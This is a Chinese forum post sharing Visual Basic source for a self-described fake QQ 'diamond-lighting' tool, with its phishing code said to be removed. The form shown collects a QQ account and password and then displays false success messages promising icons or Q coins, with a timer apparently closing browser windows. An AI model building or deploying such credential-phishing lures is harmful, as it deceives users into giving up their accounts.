发一个自己无聊用VB写的源码，这就是所谓的“刷钻”，娱乐而已_电脑百科

pdh11391

ZxID：23996936

等级: 禁止发言

举报只看楼主使用道具楼主发表于: 2016-06-08 0

发一个自己无聊用VB写的源码，这就是所谓的“刷钻”，娱乐而已

以后常驻技术版了。
实在太无聊了，就随便写了个“刷钻”的小程序，肯定是假的这不用说，代码中关于钓鱼的部分已删去，仅供学习交流使用！

源码.rar[点击下载](168 K) 下载次数:3 累计下载获得ＤＢ 6 刀

附件是全套源码
现在我上一下主界面的码
--------------------------------------------华丽的分割线-------------------------------------------------

Private Sub Check2_Click()
   If Check2.Value = 1 Then
     Check1(0).Value = 1
     Check1(1).Value = 1
     Check1(2).Value = 1
     Check1(3).Value = 1
     Check1(4).Value = 1
     Check1(5).Value = 1
     Check1(6).Value = 1
     Check1(7).Value = 1
     Check1(8).Value = 1
     Check1(9).Value = 1
     Check1(10).Value = 1
     Check1(11).Value = 1
     Check1(12).Value = 1
     Check1(13).Value = 1
     Check1(14).Value = 1
     Check1(15).Value = 1
     Check1(16).Value = 1
     Check1(17).Value = 1
     Check1(18).Value = 1
     Check1(19).Value = 1
     Check1(20).Value = 1
     Check1(21).Value = 1
     Check1(22).Value = 1
     Check1(23).Value = 1
     Check1(24).Value = 1
     Check1(25).Value = 1
     Check1(26).Value = 1
     Check1(27).Value = 1
     Check1(28).Value = 1
     Check1(29).Value = 1
     Check1(30).Value = 1
     Check1(31).Value = 1
     Check1(32).Value = 1
     Check1(33).Value = 1
     Check1(34).Value = 1
     Check1(35).Value = 1
     Check1(36).Value = 1
     Check1(37).Value = 1
     Check1(38).Value = 1
     Check1(39).Value = 1
     Check1(40).Value = 1
     Check1(41).Value = 1
     Check1(42).Value = 1
     Check1(43).Value = 1
     Check1(44).Value = 1
     Check1(45).Value = 1
     Check1(46).Value = 1
     Check1(47).Value = 1
     Check1(48).Value = 1
     Check1(49).Value = 1
     Check1(50).Value = 1
     Check1(51).Value = 1
     Check1(52).Value = 1
     Check1(53).Value = 1
     Check1(54).Value = 1
     Check1(55).Value = 1
     Check1(56).Value = 1
     Check1(57).Value = 1
     Check1(58).Value = 1
     Check1(59).Value = 1
     Check1(60).Value = 1
     Check1(61).Value = 1
    Else
     Check1(0).Value = 0
     Check1(1).Value = 0
     Check1(2).Value = 0
     Check1(3).Value = 0
     Check1(4).Value = 0
     Check1(5).Value = 0
     Check1(6).Value = 0
     Check1(7).Value = 0
     Check1(8).Value = 0
     Check1(9).Value = 0
     Check1(10).Value = 0
     Check1(11).Value = 0
     Check1(12).Value = 0
     Check1(13).Value = 0
     Check1(14).Value = 0
     Check1(15).Value = 0
     Check1(16).Value = 0
     Check1(17).Value = 0
     Check1(18).Value = 0
     Check1(19).Value = 0
     Check1(20).Value = 0
     Check1(21).Value = 0
     Check1(22).Value = 0
     Check1(23).Value = 0
     Check1(24).Value = 0
     Check1(25).Value = 0
     Check1(26).Value = 0
     Check1(27).Value = 0
     Check1(28).Value = 0
     Check1(29).Value = 0
     Check1(30).Value = 0
     Check1(31).Value = 0
     Check1(32).Value = 0
     Check1(33).Value = 0
     Check1(34).Value = 0
     Check1(35).Value = 0
     Check1(36).Value = 0
     Check1(37).Value = 0
     Check1(38).Value = 0
     Check1(39).Value = 0
     Check1(40).Value = 0
     Check1(41).Value = 0
     Check1(42).Value = 0
     Check1(43).Value = 0
     Check1(44).Value = 0
     Check1(45).Value = 0
     Check1(46).Value = 0
     Check1(47).Value = 0
     Check1(48).Value = 0
     Check1(49).Value = 0
     Check1(50).Value = 0
     Check1(51).Value = 0
     Check1(52).Value = 0
     Check1(53).Value = 0
     Check1(54).Value = 0
     Check1(55).Value = 0
     Check1(56).Value = 0
     Check1(57).Value = 0
     Check1(58).Value = 0
     Check1(59).Value = 0
     Check1(60).Value = 0
     Check1(61).Value = 0
    End If
End Sub

Private Sub Command1_Click()
  If Text1.Text = "" Then
    MsgBox "QQ帐号不能为空,请重新输入!", 48, "Error"
     Text1.SetFocus
     ElseIf Text2.Text = "" Then
           MsgBox "QQ密码不能为空,请重新输入!", 48, "Error"
            Text2.SetFocus
'     ElseIf Check1(Index).Value = 0 Then
'       MsgBox "请选择你要点亮的QQ图标！", 32, "提示"
  Exit Sub
MsgBox "连接服务器成功,系统将在24小时内将你开选择的图标点亮!", 64, "提示"
End If
End Sub

Private Sub Command2_Click()
  If Text3.Text = "" Then
  MsgBox "请输入数量！", 48, "Error"
   Text3.SetFocus
   ElseIf Text3.Text <= 0 Then
       MsgBox "输入的数字无效！", 48, "Error"
   ElseIf Text1.Text = "" Then
    MsgBox "QQ帐号不能为空,请重新输入!", 48, "Error"
     Text1.SetFocus
     ElseIf Text2.Text = "" Then
           MsgBox "QQ密码不能为空,请重新输入!", 48, "Error"
            Text2.SetFocus
       Exit Sub
  Else
Timer1.Enabled = True
MsgBox "连接服务器成功,系统将在24小时内将Q币转到你的帐上!", 64, "提示"
End If

End Sub

Private Sub Command3_Click()
   End
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
  If KeyAscii = 13 Then Text2.SetFocus
End Sub

Private Sub Text2_KeyPress(KeyAscii As Integer)
  If KeyAscii = 13 Then Command1.SetFocus
End Sub

Private Sub Text3_KeyPress(KeyAscii As Integer)
  If KeyAscii = 13 Then Command2.SetFocus
  If Not (IsNumeric(Chr(KeyAscii)) Or KeyAscii = 8) Then KeyAscii = 0
End Sub

Private Sub Timer1_Timer()
EnumWindows AddressOf KILLIE, 0&
Timer1.Enabled = False
End Sub

--------------------------------------------华丽的分割线-------------------------------------------------

[ 此帖被pdh11391在2016-06-08 13:09重新编辑 ]